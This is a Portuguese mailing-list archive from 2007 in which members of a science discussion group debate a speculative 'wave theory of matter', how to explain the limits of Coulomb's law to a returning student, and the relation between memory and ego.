aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 9 de maio de 2007 12:37
Assunto: Re: [ciencialist] T.O.M.; era [ E=m.c2 ]

Pelo que eu saiba não, Prof. Luiz.

O modelo 'De Broglie refere-se às ondas associadas aos eletrons em movimento ao redor do núcleo. A Teoria Ondulatória da Materia (TOM) sugere que o próprio elétron é um onda estacionária tridimensional.

Esta constatação não interfere com as idéias 'De Broglie. Mas simplificaria significamente a explicação do porquê uma onda eletromagnética é absorvida por um eletron e re-emitida em seguida, sem a necessidade de utilizar a idéia de fótons. Explicaria tb inúmeros fenômenos relatados recentemente, como por exemplo os experimentos de Afshar.

Em outras palavras, na TOM não existem quantuns, só e tão somente ondas.

O que intriga a imaginação prof Luiz, é como uma onda pode se tornar estacionária sem um anteparo.

Explicando: se vc mantém água parada em uma bacia e em seguida joga uma pedra nela, a onda gerada irá até a borda da bacia e voltará ao ponto de origem... o processo se repetirá até que o atrito páre a onda. Isto seria uma onda estacionária de 2 dimensões que tem as bordas da bacia como anteparo.

Imaginado a bacia como o sendo Universo e a água como sendo o Ether, pela TOM, o elétron seria o ápice de onda estacionária de 3 dimensões. Está é uma explicação plausível e até elegante, mas falha quando se tenta explicar o porquê uma onda normal é refletida em uma estacionária.

Por exemplo: a luz (onda normal) é refletida no espelho que é composto de partículas (ondas estacionárias). Fazendo uma analogia com a bacia d'água, uma outra onda apenas se superporia sobre a primeira. Não haveria reflexão... ou será que estou enganado?

É possível que uma onda comum possa ser refletida nos ápices ou nós de uma onda estacionária?

Em tempo: atualmente tenho devotado mais tempo visitando seu site do que assistindo a Globo. Tenha essa informação como um elogio. (risos)

Um forte abraço,

Eduardo Sardeiro

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 6:56 AM
Subject: [ciencialist] T.O.M.; era [ E=m.c2 ]

Essa thread despertou-me uma pergunta associada ao texto a seguir:

>Imagine um universo que não exista inércia? Ou
onde não exista velocidade máxima? Quais as
conseqüências disto?

Imediatamente pensei nos jogos eletrônicos onde os 'personagens' sofrem desvios imediatos de 90º; não há uma curva suave passando de uma direção para outra ... é brusco!
Não tenho dúvida que isso ocorre no TRC devido à minúscula inércia do elétron sob a ação do campo elétrico das placas defletoras (ou do campo magnético do yoke nos tubos de TV).
Minha pergunta é: Que deveríamos fazer para poder 'visualizar' no anteparo fluorescente do TRC essa 'minúscula' curva que o elétron deve fazer devido à sua insignificante inércia?

Meu pensamento voou um pouco além. Vamos imaginar um TRC diferente, um tubo onde os elétrons fossem substituídos por íons cuja inércia supera tremendamente aquela dos elétrons. Nesse 'novo TRC' as 'curvinhas' dos íons seriam visíveis na tela?

Curiosidade ........

Outra pergunta: O modelo das ondas estacionárias não é devido a De Broglie?

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 8 de maio de 2007 15:59
Assunto: Re: [ciencialist] Re: E=m.c2

Olá Alvaro,

Estamos chegando próximos de um entendimento!

A Teoria Ondulatória da Matéria visa ser uma outra
opção coerente e concreta para explicar os
fenômenos físicos, em contrapartida às explicações
apresentadas pela Física Quântica.

Existem inúmeras outras teorias que estão sendo
desenvolvidas por Físicos espalhados pelo globo.

Estas teorias estão se tornando particurlarmente
interessantes em Realidade Virtual, onde tornam
necessário ter-se teorias completas que possam
ser modeladas, programadas e executadas em
computadores.

Imagine um universo que não exista inércia? Ou
onde não exista velocidade máxima? Quais as
consequências disto?

Para que possamos entender e vislumbrar tais
universos, só criando teorias completas,
consistentes e detalhadas.

Criar leis Físicas para Realidades Virtuais não é o
objetivo principal destes trabalhos, mas considere.

A propósito, a Teoria Ondulatória da Matéria
fornece subsídios completos para modelar átomos de
hidrogênio, hélio ou qualquer outro. Se vc encontrou
alguma falha, por favor relate-nos.

Um forte abraço,

Eduardo Sardeiro
http://br.groups.yahoo.com/group/NetProcessing/

----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 2:31 PM
Subject: Re: [ciencialist] Re: E=m.c2

Essa hipótese da "onda estacionária" nada mais é do que uma maneira
diferente de escrever os postulados de Bohr. E o modelo do átomo de Bohr
funciona bem para o hidrogênio, razoavelmente bem para o hélio, mas falha
para todo o restante.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 2:21 PM
Subject: Re: [ciencialist] Re: E=m.c2

Sardeiro: A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Victor: Sinceramente, não sei. Vislumbro algumas
possibilidades, mas não me dediquei a pensar
sobre isso. Como disse, apenas achei interessante e tive o
trabalho de acompanhar o desenvolvimento matemático
que dá suporte à tese, vendo-lhe as consequências.
Mas sem engajamento ou algum interêsse sério.
Por razões óbvias. Mas fica a indicação, e quem pensa
assim não está só. É isso.

sds,
Victor.

----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:11 AM
Subject: Re: [ciencialist] Re: E=m.c2

Prezado Victor,

Fico satisfeito quando encontro ao menos uma
linha de pensamento em que posso dialogar e
arguir sem usar de analogias.

Ao contrário, fico indignado quando leio
frases do tipo "Daqui a uns cem anos essa
molecada chega na questão da dualidade onda-
partícula.", em plena época dos jogos
eletrônicos, tais quais o Next Generation, em
que uma realidade física é apenas isto: uma
entre várias possíveis.

Relevo isto quando penso o quanto somos
acomodados em conceber apenas um conjunto de
possibilidades para explicar os fenômenos
físicos, enquanto podem haver várias, todas
concorrentes entre si, exibindo resultados
equivalentes e possibilitando-nos entender um
Cosmos que é muito mais amplo e complexo do
que nossa vã filosofia.

Mudando de assunto, esta é a primeira vez que
leio um comentário a respeito da Teoria da
Velocidade Absoluta. Na Teoria Ondulatória da
Matéria, a velocidade da luz (c) tb é
considerada a única velocidade existente.
Todas as demais são consideradas resultantes
de c.

A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Grato,

Eduardo Sardeiro

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 7:04 AM
Subject: Re: [ciencialist] Re: E=m.c2

JC,

"Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)"

O que irei adiantar, não corresponde ao que penso. Achei bastante
interessante,
por isso me animei a ler com atenção, a Teoria da Velocidade Absoluta, do
Professor
de telecomunicação Jaroslav Smit, autor de obras na área, como Ondas e
Antenas, Rádio e Propagação e Linhas de Comunicação, tudo da Èrica. Não sei
se se trata de engenheiro eletrônico que é físico, ou se é um físico que é
engenheiro eletrônico.
Numa pesquisa sobra antenas, encontrei, no Ondas e Antenas(e isso já faz
um bom tempo) noções de relatividade restrita, em vista do enfoque que dá à
Teoria do Eletromagnetismo. E também uma introdução à sua Teoria da
Velocidade Absoluta. Não uma velocidade qualquer, mas a das OEM, c, como era
para ser. Em suas palavras, página 251:

" A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em
trajetória fechada.

Se esta matéria, onde não se percebe c externamente, for movida com
velocidade v, poderemos compor um triângulo de velocidades, incluindo c. Mas
ao compormos este triângulo de velocidades nota-se que a resultante, isto é,
a maior velocidade, ou hipotenua do triângulo, será forçosamente c. Assim,
as outras velocidades menores que c serão meros componentes de c.
Concluí-se, diz ele, que no mundo material não há velocidade independente de
c, já que no mundo material todas as velocidades são de matéria ou
energia.Podemos ilustrar com o modelo a seguir, estas várias velolcidades."
E seguem, três figuras:
a) Onda pura, representada por seta, para indicar a velocidade c;
b) Um círculo, para indicar a matéria em repouso, onde c é indicada por
uma seta apontando o sentido do movimento circular; e
c) algo como uma espiral, para indicar a matéria anima de velocidade v,
que aparece como um cateto do triângulo no qual a hipotenusa é c.

As seções seguintes exibem um estudo de triângulos onde tais idéias são
implementadas, matemática e geométricamente, em forma de catetos, com a
hipotenusa, que ele chama de lado da onda. Amarrando, sempre, c aos catetos,
constroi uma estrutura de onde retira os principais resultados da TRR. É um
pouco diferente dos estudos homólogos feitos por autores consagrados, que
usam triângulos como artifício de memorização de fórmulas. Seu enfoque
centra-se na tese acima, o que diferencia os desenvolvimentos. Assim,
encontram-se os seguintes triângulos: de velocidades, das massas, da
Energia, dos Momento, por aí em diante. Extrai, dessa forma, os resultados
conhecidos, usando os postulados da relatividade.

Tudo usando a idéia básica : A matéria, na Teoria da Velocidade Absoluta,
é onda estacionária em trajetória fechada.

Não sei se o Professor Smit ainda está por aquí. Encontrei na internet que
foi um dos fundadores do Mackenzie. Mas não encontrei mais nada a respeito
de sua teoria, ou a importância que lhe foi atribuída. Ao menos tem um
embasamento matemático consistente, embora a tese física seja questionável.
Mesmo assim, ainda hoje, vez ou outra seja mencionada, em outra forma, como
o fez o Sardeiro.

Contudo, prefiro ater-me ao que sei que funciona, que nunca virou a cara
ou fez muxôxo para a experimentação. Uma vida só é pouco para se extrair
todas as incidências da TR nossa de cada dia. Mas é interessante ler sobre
as tentativas, em busca de outras alternativas. Que são só tentativas, ao
fim e ao cabo.

Sobre E = m c^2, existe realmente um entendimento inadequado de qual o
papel de E e m, na equação. Mas deixa prá lá. Já se falou muito a respeito,
embora sem explicitar as essencialidades.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:27 AM
Subject: [ciencialist] Re: E=m.c2

Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>

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SUBJECT: ENC: [ciencialist] Fw: Preciso fazer uma pergunta, pois estou c/ uma duvida
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 10:41













Caro Léo,





Acho que, numa primeira investida, está ok. Mas eu não diria algo assim:
“...e então a 'tradicional' lei

de Coulomb deve sofrer alterações (por vezes, sérias alterações!).”, pois
daria a impressão

de que deveria haver alteração na estrutura mesma da lei. E não é assim. O
que acontece é

que, numa situação dessas, aliás comum, a aplicação da Lei de Coulmb, que é
essencialmente puntual, fica difícil, trabalhosa, exigindo maiores esforços
para sua correta aplicação. Pois a carga agora apresenta-se distribuída ao
longo do corpo, pelo que não poderemois mais desprezar as diferenças entre
as distâncias de cada uma à uma carga de teste infinitesimal. Torna-se
necessário, com vistas à Lei de Coulomb, que ela seja dividida em cargas
infinitesimais, seja considerado o efeito de cada dq sobre a carga teste,
como se os outros dq’s não existisssem e depois somado tudo, pois vale o
notável e simplificador, como simples é a natureza,

Princípio da Superposição. O efeito global de todos os dq é a soma, ou
integração dos efeitos de cada uma. Para tais objetivos, a natureza diz:
olha, considera que a carga A(puntal) não exista, e calcule o efeito
elétrico sobre a carga de teste devido somente à carga B(puntual). Depois,
considere que B não existe e calcule o efeito elétrico da A sobre a mesma
carga de teste. Depois some tudo, misture tudo, integrando(para dizer
melhor). Ou seja, a matemática a ser usada será mais elaborada, deverá
cansar a munheca, após a trabalheira para encontrar o efeito de cada carga,
como se as outras não existissem.

Mas, a lei, em si, continuará a mesma, não sofrerá alterações de qualquer
natureza.

Outro fato notável é que valem, também na eletrostática, os seguintes
teoremas, aplicáveis à gravitação, para corpos esféricos, o que simplifica
magistralmente os problemas, nos casos de configurações esféricas:

1 - Uma casca esférica uniformemente carregada atrai ou repele uma partícula
carregada exterior como se toda a carga da casca estivesse concentrada em
seu interior; e,

2) Para uma partícula que esteja em seu interior, a casca esférica
uniformemente carregada não exerce sobre ela qualquer força eletrostática.
(Isto é aproveitado na prática como blindagem eletrostática).



Aliás, seria interessante que a menina Claodinice fosse informada, também,
de que:

a) a lei de força gravitacional, devida a Newton, é a mesma lei de
força na eletrostática, devida a Coulomb, mudando apenas as grandezas e
constantes associadas aos fenômenos específicos; e,

b) A Lei de Coulomb nunca foi violada, sob qualquer aspecto. Ainda
está “cabaço”, como se diz. Até mesmo onde as leis de Newton falham
estrondosamente, a Lei de Coulomb surge vitoriosa e risonha, brandindo sua
espada reluzente e afiada, precisa e eficientemente. Como é o caso das
cargas num átomo.



Sds,

Victor.







De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 8 de maio de 2007 18:12
Para: ciencialist
Assunto: [ciencialist] Fw: Preciso fazer uma pergunta, pois estou c/ uma
duvida



Que tipo de resposta melhor convém à consulente que retorna aos estudos?

Será que essa satisfaz?
++++++++++++++++++++++++
Olá Claodinice,
a lei de Coulomb foi estabelecida para 'cargas elétricas puntiformes', ou
seja, cargas elétricas depositadas em corpos cujas dimensões próprias sejam
irrelevantes em confronto com as distâncias que as separam. Assim, duas
esferas eletrizadas de raios 5 cm e a 10 m de distância uma da outra
satisfazem bem a lei de Coulomb, MAS, se colocadas a 20 cm uma da outra, já
não satisfaz mais. A 10 m de distância uma da outra, suas cargas podem ser
pensadas como 'concentradas' no centros geométricos das esferas (centros
elétricos coincidem com os centros geométricos), mas a 20 cm uma da outra,
os 'centros elétricos' não mais coincidem com os centros geométricos das
esferas e então a 'tradicional' lei de Coulomb deve sofrer alterações (por
vezes, sérias alterações!).
++++++++++++++++++++++++

que acham?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Claodinice Vargas
Para: leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
Enviada em: sábado, 5 de maio de 2007 19:18
Assunto: Preciso fazer uma pergunta, pois estou c/ uma duvida

Olá, professor! Eu estou voltando a estudar, pois eu vou fazer o vestibular.
E estou revendo a materia de fisica. Essa eh a pergunta:
A Lei de Coulomb pode ser usada para se calcular a força de interaçao
eletrica entre dois objetos quaisquer eletrizados? Por quê?

Espero q vc possa me ajudar!

Atenciosamente, Claudinice!

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SUBJECT: Re: [ciencialist] A Memória e o Ego ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 10:43

Olá Eduardo!

> A MEMÓRIA E O EGO - por Ferrari
> (sobre memorização do raciocínio)
> http://egogame.blogspot.com

Eduardo >>> a partir da segunda infância começa a
formação da consciência. A parti daí, o indivíduo já
começa a perceber e a moldar os processos secundários
de aprendizagem. O indivíduo começa a saber que sabe.

--- Olha que interessante, voltamos no mesmo assunto
que estavamos conversando da cogncience como se fosse
ontem. Paramos justamente neste "saber que se sabe".
Tem dois "saberes" distintos ai, não é? Como vc
diferencia um do outro? Ou são o mesmo?

Eduardo >>> A palavra 'racioncínio' está sendo
empregada como a idéia de 'aprender com consciência'?

--- Não, Eduardo. Voce falou em silogismo. Era uma
palavra nova pra mim. Procurei no dicionário. Agora
está sologistificada em minha memória. Creio que o que
eu chamo de raciocinio é o que vc chama de silogismo.
Chamo de raciocinio o processo de associação
mnemonica: SE isto, LOGO aquilo.

Eduardo >>> No meu caso, eu falo português e sei como
falo. Sei inclusive e exatamente quais as cordas
vocais que uso. Consegui a compreensão de todo o
processo após me instruir sobre a anatomia da fala,
mas acredito que outros possam compreender por outros
meios. Não é nada impossível.

--- Vixe! Impressionante. Contudo, o artigo não diz
que é impossivel. Diz apenas que não é necessário.
Mesmo no seu caso, vc só foi se dar conta depois que
já falava, não é mesmo?

Eduardo >>> O Ego não seria a percepção deste
'programão'?

--- Ao meu ver, não. Parece que discordamos ai.
Consciencia versos fisica. E parece que teremos um
longo diálogo sobre isto. Esta "percepção do ego
(programa)" a qual voce se refere não é algo que seja
feita através dos sentidos, não é mesmo? Voce não olha
o ego com a visão, nem o cheira com o nariz, nem o
saboreia com a boca. Mas, então, como voce faz? Que
percepção é esta que você tem?

Eduardo >>> Assim como é necessário definir o que são
livros para explicar o que é uma enciclopédia em
termos de páginas, tb é necessário definir outros
mecanismos para explicar o que é cérebro em termos de
neurônios.

--- Concordo, contudo, livro e enciclopédia são, em
essencia a mesma coisa. São analogicos. E neste
sentido que uso a palavra raciocinio. O cerebro faz
diversos tipos de associações mnemonicas, poreém, em
essencia, todas são associações.


sinceramente
ferrari



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SUBJECT: Preciso fazer uma pergunta, pois estou c/ uma duvida
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 10:45









Caro Léo,





Acho que, numa primeira investida, está ok. Mas eu não diria algo assim:
“...e então a 'tradicional' lei

de Coulomb deve sofrer alterações (por vezes, sérias alterações!).”, pois
daria a impressão

de que deveria haver alteração na estrutura mesma da lei. E não é assim. O
que acontece é

que, numa situação dessas, aliás comum, a aplicação da Lei de Coulmb, que é
essencialmente puntual, fica difícil, trabalhosa, exigindo maiores esforços
para sua correta aplicação. Pois a carga agora apresenta-se distribuída ao
longo do corpo, pelo que não poderemois mais desprezar as diferenças entre
as distâncias de cada uma à uma carga de teste infinitesimal. Torna-se
necessário, com vistas à Lei de Coulomb, que ela seja dividida em cargas
infinitesimais, seja considerado o efeito de cada dq sobre a carga teste,
como se os outros dq’s não existisssem e depois somado tudo, pois vale o
notável e simplificador, como simples é a natureza,

Princípio da Superposição. O efeito global de todos os dq é a soma, ou
integração dos efeitos de cada uma. Para tais objetivos, a natureza diz:
olha, considera que a carga A(puntal) não exista, e calcule o efeito
elétrico sobre a carga de teste devido somente à carga B(puntual). Depois,
considere que B não existe e calcule o efeito elétrico da A sobre a mesma
carga de teste. Depois some tudo, misture tudo, integrando(para dizer
melhor). Ou seja, a matemática a ser usada será mais elaborada, deverá
cansar a munheca, após a trabalheira para encontrar o efeito de cada carga,
como se as outras não existissem.

Mas, a lei, em si, continuará a mesma, não sofrerá alterações de qualquer
natureza.

Outro fato notável é que valem, também na eletrostática, os seguintes
teoremas, aplicáveis à gravitação, para corpos esféricos, o que simplifica
magistralmente os problemas, nos casos de configurações esféricas:

1 - Uma casca esférica uniformemente carregada atrai ou repele uma partícula
carregada exterior como se toda a carga da casca estivesse concentrada em
seu interior; e,

2) Para uma partícula que esteja em seu interior, a casca esférica
uniformemente carregada não exerce sobre ela qualquer força eletrostática.
(Isto é aproveitado na prática como blindagem eletrostática).



Aliás, seria interessante que a menina Claodinice fosse informada, também,
de que:

a) a lei de força gravitacional, devida a Newton, é a mesma lei de
força na eletrostática, devida a Coulomb, mudando apenas as grandezas e
constantes associadas aos fenômenos específicos; e,

b) A Lei de Coulomb nunca foi violada, sob qualquer aspecto. Ainda
está “cabaço”, como se diz. Até mesmo onde as leis de Newton falham
estrondosamente, a Lei de Coulomb surge vitoriosa e risonha, brandindo sua
espada reluzente e afiada, precisa e eficientemente. Como é o caso das
cargas num átomo.



Sds,

Victor.







De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 8 de maio de 2007 18:12
Para: ciencialist
Assunto: [ciencialist] Fw: Preciso fazer uma pergunta, pois estou c/ uma
duvida



Que tipo de resposta melhor convém à consulente que retorna aos estudos?

Será que essa satisfaz?
++++++++++++++++++++++++
Olá Claodinice,
a lei de Coulomb foi estabelecida para 'cargas elétricas puntiformes', ou
seja, cargas elétricas depositadas em corpos cujas dimensões próprias sejam
irrelevantes em confronto com as distâncias que as separam. Assim, duas
esferas eletrizadas de raios 5 cm e a 10 m de distância uma da outra
satisfazem bem a lei de Coulomb, MAS, se colocadas a 20 cm uma da outra, já
não satisfaz mais. A 10 m de distância uma da outra, suas cargas podem ser
pensadas como 'concentradas' no centros geométricos das esferas (centros
elétricos coincidem com os centros geométricos), mas a 20 cm uma da outra,
os 'centros elétricos' não mais coincidem com os centros geométricos das
esferas e então a 'tradicional' lei de Coulomb deve sofrer alterações (por
vezes, sérias alterações!).
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que acham?

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De: Claodinice Vargas
Para: leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
Enviada em: sábado, 5 de maio de 2007 19:18
Assunto: Preciso fazer uma pergunta, pois estou c/ uma duvida

Olá, professor! Eu estou voltando a estudar, pois eu vou fazer o vestibular.
E estou revendo a materia de fisica. Essa eh a pergunta:
A Lei de Coulomb pode ser usada para se calcular a força de interaçao
eletrica entre dois objetos quaisquer eletrizados? Por quê?

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Atenciosamente, Claudinice!

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SUBJECT: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 11:14

Olá Victor,

Não posso enviar essas 'complementações' para a guria! Tadinha! Vamos deixar ela escalar o conhecimento degrau por degrau, conforme seus neurônios vão se exercitando com a física e matemática.
Tudo se aprende assim. Vc se lembra da História do Brasil desde o primário? Começa como uma festa 'Cabral e suas caravelas ... sem querer ... descobriu o Brasil', no Ensino Médio, já se fala em Américo Vespucci, navegador experimentado ... e o 'sem quer' se modifica ... outros fatores aparecem. No Ensino Superior o professor já começa assim: Que Brasil? Isso não é nosso! Vejamos a política da época .... e blá, blá - e a maçonaria - blá ... e toda História se modifica.

Além disso, não concordo o o 'status' que vc dá à lei de Coulomb e seus derivados. Aliás, estou desenvolvendo um texto justamente comentando como as leis da eletricidade violam o princípio da relatividade. O que um observador em 'repouso' vê de eletrostática numa questão não é o que vê um observador em movimento.
Eis a parte do texto já pronta: (onde está r leia-se 'rö', p leia-se 'pi' e m leia-se 'mü')
+++++++++++++++++++
O Principio da Relatividade
A Velocidade é relativa
Galileu propôs, como um princípio geral de simetria, que as leis da Física deveriam ser as mesmas para qualquer observador que se mova a uma velocidade constante, qualquer que seja a direção, sentido e o módulo dessa velocidade. Em outras palavras, não deve haver nenhum sistema de referência preferencial nem nenhuma maneira de determinar uma velocidade absoluta. Esta simetria geral é chamada de princípio da relatividade.
É claro que Galileu e Newton se certificaram de que suas leis da mecânica clássica obedeciam ao princípio da relatividade.
Contudo, a menos que se façam algumas mudanças na Física que apresentamos no Ensino Médio, as leis da eletricidade violam o princípio da relatividade. Um observador em "repouso" e um em movimento obterão duas predições teóricas diferentes para a mesma experiência.
Como ilustração, vamos considerar o exemplo simples de uma carga puntual Q a uma distância R de um fio carregado com r statcoulombs por centímetro como mostra a Fig.1.

Fig.1- Carga puntual Q a uma distância R de um fio carregado com r C/m.
Fig.2- A Fig.1 vista por um observador que se move com velocidade v para cima.

A força sobre Q é Fe = QE onde E = 2r/R é o valor do campo elétrico da distribuição Q no ponto do espaço que dista R (veja adendo 1 "campo originado por cilindro uniformemente eletrizado").
Portanto, Fe = 2Qr/R ... eq.1, para um observador em repouso.
Consideremos agora um segundo observador que se move paralelamente ao fio à velocidade v como mostra a Fig.2. Além da força eletrostática acima Fe (eq.1) este observador mediria também uma força magnética Fm . Ele vê uma corrente elétrica I = rv movendo-se ao longo do fio e uma carga Q movendo-se também paralelamente ao fio à velocidade v.
Como sabemos, a força magnética sobre a carga Q é Fm = Qv/c X B. O campo magnético B produzido por uma corrente circulando em linha reta é B = 2rv/(cR). Portanto, Fm = Qv/c X 2rv/(cR) = (2rQ/R)(v2/c2) é a força magnética.
[Nota: Estamos trabalhando no Sistema CGS Eletrostático (onde comparece c). Para transferir para o Sistema Internacional de Unidades basta fazer c = 4p/m e tomar r em C/m.]
Essa força atrativa magnética deve ser adicionada à força repulsiva eletrostática. Portanto o observador em movimento calcula a força resultante como sendo
F = Fe - Fm = 2Qr/R - (2rQ/R)(v2/c2) = 2Qr/R(1 - v2/c2)
para um observador que se move à velocidade v.
Numericamente, é um fator (1 - v2/c2) menor que o resultado (Eq.1) obtido por um observador estacionado.
Observe que se v<<<c, o fator (1 - v2/c2) torna-se unitário e a força resultante será F = 2Qr/R = Q.E, tipicamente eletrostática.
Assim, é claro que as leis da eletricidade dão resultados diferentes em sistemas de referência diferentes. Contudo, de acordo com o princípio da relatividade de Galileu na mecânica clássica, a força ou aceleração sobre Q deve ser independente da velocidade do observador. Como conciliar isso?
É assim, fácil observar, que o princípio da relatividade de Galileu que funciona para a mecânica clássica é inconsistente com as equações de Maxwell. Para resolver esta contradição, o princípio da relatividade, ou as equações de Maxwell, ou a mecânica clássica devem ser revistos.
Vamos considerar agora as seguintes 3 alternativas:
+++++++++++++++++++++
Talvez hoje pela tardinha eu complete esse 'nabo' e tire a virgindade coulombiana.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 10 de maio de 2007 10:45
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida

Caro Léo,

Acho que, numa primeira investida, está ok. Mas eu não diria algo assim:
"...e então a 'tradicional' lei

de Coulomb deve sofrer alterações (por vezes, sérias alterações!).", pois
daria a impressão

de que deveria haver alteração na estrutura mesma da lei. E não é assim. O
que acontece é

que, numa situação dessas, aliás comum, a aplicação da Lei de Coulmb, que é
essencialmente puntual, fica difícil, trabalhosa, exigindo maiores esforços
para sua correta aplicação. Pois a carga agora apresenta-se distribuída ao
longo do corpo, pelo que não poderemois mais desprezar as diferenças entre
as distâncias de cada uma à uma carga de teste infinitesimal. Torna-se
necessário, com vistas à Lei de Coulomb, que ela seja dividida em cargas
infinitesimais, seja considerado o efeito de cada dq sobre a carga teste,
como se os outros dq's não existisssem e depois somado tudo, pois vale o
notável e simplificador, como simples é a natureza,

Princípio da Superposição. O efeito global de todos os dq é a soma, ou
integração dos efeitos de cada uma. Para tais objetivos, a natureza diz:
olha, considera que a carga A(puntal) não exista, e calcule o efeito
elétrico sobre a carga de teste devido somente à carga B(puntual). Depois,
considere que B não existe e calcule o efeito elétrico da A sobre a mesma
